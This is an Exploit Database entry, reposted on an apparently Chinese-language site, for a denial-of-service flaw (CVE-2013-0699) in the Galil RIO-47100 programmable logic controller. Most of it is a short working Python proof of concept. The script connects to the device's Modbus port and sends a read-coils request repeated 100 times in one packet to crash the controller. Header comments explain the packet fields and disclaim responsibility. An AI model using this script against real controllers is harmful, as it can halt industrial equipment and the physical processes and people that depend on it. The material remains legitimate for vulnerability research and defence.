Galil-RIO Modbus – Denial of Service

• Exploit Database
• 10 阅读

• 作者： Sapling
  日期： 2013-07-27
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/27131/

• # Exploit Title: Galil RIO-47100
  # Date: 05-01-2013
  # Exploit Author: Sapling
  # Vendor Homepage: www.galilmc.com
  # Version: Rio Firmware Prior to 1.1d
  # CVE : CVE-2013-0699
  # ICSA: ICSA-13-116-01
  
  /* There are many different ways to crash this PLC but most of them are
  centralized around the repeating a request in a single packet format. So
  read a coil repeated in a single packet.
  The Rio-47100 by Galil is a small PLC with an internal RISC based
  processor. It communicates using ModBus, or Telnet over Ethernet as well as
  having a web server built in that allows a user to issue commands.
  I take no responsibility for the use of this code and using this code you
  agree to take responsibility for your own actions. */
  
  
  # Python Proof of concept
  # A quick run down of the last half start at \x06
  # \x06 length
  # \x01 unit id
  # \x01 function code (read coils)
  # \x00\x00 start address
  # \x00\x01 coil quantity
  # Repeat the request in the packet 100 times
  # Unfortunateley I can't remember the minimum number of times you have to
  repeat to cause the crash
  
  import sys
  import socket
  
  new = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  new.connect(('192.168.1.12', 502)) #Change the IP address to your PLC IP
  Address
  new.send('\x00\x01\x00\x00\x00\x06\x01\x01\x00\x00\x00\x01'*100)